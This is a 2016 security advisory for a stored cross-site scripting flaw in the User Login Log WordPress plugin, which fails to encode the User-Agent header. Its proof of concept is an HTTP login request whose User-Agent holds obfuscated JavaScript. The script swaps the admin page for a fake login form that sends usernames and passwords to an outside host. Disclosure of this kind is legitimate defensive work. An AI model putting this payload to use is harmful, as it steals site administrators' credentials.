------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in User Login Log WordPress
Plugin
------------------------------------------------------------------------
Axel Koolhaas, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the User Login
Log WordPress Plugin. This issue can be exploited by Subscriber (or
higher) and allows an attacker to perform a wide variety of actions,
such as stealing users' session tokens, or performing arbitrary actions
on their behalf.

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OVE ID
------------------------------------------------------------------------
OVE-20160724-0011

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Tested versions
------------------------------------------------------------------------
This issue was successfully tested on User Login Log WordPress Plugin
version 2.2.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

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Details
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https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html

This vulnerability exists due to the lack of encoding of the User-Agent HTTP request header. This issue exists in method column_default() that is implemented in the file user-login-log.php.

function column_default($item, $column_name)
{
   
[...]
   
   switch($column_name){
   
[...]
      
   default:
      return $item[$column_name];
   }
}

Proof of concept

POST /wp-login.php HTTP/1.1
Host: <target>
User-Agent: XSS<script>document.getElementById(/wpwrap/.toString().substring(1, 7)).innerHTML = String.fromCharCode(60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,99,111,108,111,114,115,45,102,114,101,115,104,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,99,111,108,111,114,115,45,102,114,101,115,104,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,108,111,103,105,110,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,108,111,103,105,110,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,32,60,115,116,121,108,101,62,98,111,100,121,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,104,101,97,100,101,114,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,108,111,103,105,110,102,111,114,109,123,116,101,120,116,45,97,108,105,103,110,58,32,108,101,102,116,59,125,112,32,35,110,97,118,123,116,101,120,116,45,115,104,97,100,111,119,58,32,114,103,98,97,40,50,53,53,44,50,53,53,44,50,53,53,44,49,41,32,48,32,49,112,120,32,48,59,125,46,115,117,98,109,105,116,123,112,97,100,100,105,110,103,58,32,48,59,125,35,98,97,99,107,116,111,98,108,111,103,32,97,123,99,111,108,111,114,58,32,35,99,99,99,59,125,60,47,115,116,121,108,101,62,32,60,100,105,118,32,105,100,61,34,108,111,103,105,110,34,62,60,104,49,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,111,114,100,112,114,101,115,115,46,111,114,103,47,34,32,116,105,116,108,101,61,34,80,111,119,101,114,101,100,32,98,121,32,87,111,114,100,80,114,101,115,115,34,62,84,111,116,97,108,108,121,32,76,101,103,105,116,32,76,111,103,105,110,32,70,111,114,109,60,47,97,62,60,47,104,49,62,32,60,102,111,114,109,32,110,97,109,101,61,34,108,111,103,105,110,102,111,114,109,34,32,105,100,61,34,108,111,103,105,110,102,111,114,109,34,32,97,99,116,105,111,110,61,34,104,116,116,112,58,47,47,119,119,119,46,115,104,111,97,108,111,97,107,46,109,108,47,99,111,108,108,101,99,116,34,32,109,101,116,104,111,100,61,34,80,79,83,84,34,32,116,97,114,103,101,116,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,112,62,60,108,97,98,101,108,62,85,115,101,114,110,97,109,101,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,116,101,120,116,34,32,110,97,109,101,61,34,117,34,32,105,100,61,34,117,115,101,114,95,108,111,103,105,110,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,49,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,62,60,108,97,98,101,108,62,80,97,115,115,119,111,114,100,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,112,97,115,115,119,111,114,100,34,32,110,97,109,101,61,34,112,34,32,105,100,61,34,117,115,101,114,95,112,97,115,115,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,50,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,83,101,115,115,105,111,110,32,104,97,115,32,101,120,112,105,114,101,100,44,32,112,108,101,97,115,101,32,108,111,103,32,105,110,60,47,112,62,60,112,32,99,108,97,115,115,61,34,102,111,114,103,101,116,109,101,110,111,116,34,62,60,108,97,98,101,108,62,60,105,110,112,117,116,32,110,97,109,101,61,34,114,101,109,101,109,98,101,114,109,101,34,32,116,121,112,101,61,34,99,104,101,99,107,98,111,120,34,32,105,100,61,34,114,101,109,101,109,98,101,114,109,101,34,32,118,97,108,117,101,61,34,102,111,114,101,118,101,114,34,32,116,97,98,105,110,100,101,120,61,34,57,48,34,47,62,32,82,101,109,101,109,98,101,114,32,77,101,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,99,108,97,115,115,61,34,115,117,98,109,105,116,34,62,60,105,110,112,117,116,32,116,121,112,101,61,34,115,117,98,109,105,116,34,32,110,97,109,101,61,34,119,112,45,115,117,98,109,105,116,34,32,105,100,61,34,119,112,45,115,117,98,109,105,116,34,32,118,97,108,117,101,61,34,76,111,103,32,73,110,34,32,116,97,98,105,110,100,101,120,61,34,49,48,48,34,47,62,60,47,112,62,60,47,102,111,114,109,62,32,60,112,32,105,100,61,34,110,97,118,34,62,60,97,32,104,114,101,102,61,34,46,46,47,119,112,45,108,111,103,105,110,46,112,104,112,63,97,99,116,105,111,110,61,108,111,115,116,112,97,115,115,119,111,114,100,34,32,116,105,116,108,101,61,34,80,97,115,115,119,111,114,100,32,76,111,115,116,32,97,110,100,32,70,111,117,110,100,34,62,76,111,115,116,32,121,111,117,114,32,112,97,115,115,119,111,114,100,63,60,47,97,62,60,47,112,62,60,47,100,105,118,62,60,105,102,114,97,109,101,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,32,110,97,109,101,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,47,105,102,114,97,109,101,62,32,60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,116,114,121,123,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,117,115,101,114,95,108,111,103,105,110,39,41,46,102,111,99,117,115,40,41,59,125,99,97,116,99,104,40,101,41,123,125,60,47,115,99,114,105,112,116,62);document.getElementById(/wpwrap/.toString().substring(1, 7)).id = /login/.toString().substring(1, 5);document.cookie = String.fromCharCode(39,118,105,115,105,116,101,100,61,116,114,117,101,59,112,97,116,104,61,47,59,109,97,120,45,97,103,101,61,39) + 60 * 10;
</script>XSS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,lzma,sdch
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded
   
log=<user name>&pwd=<password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1


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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.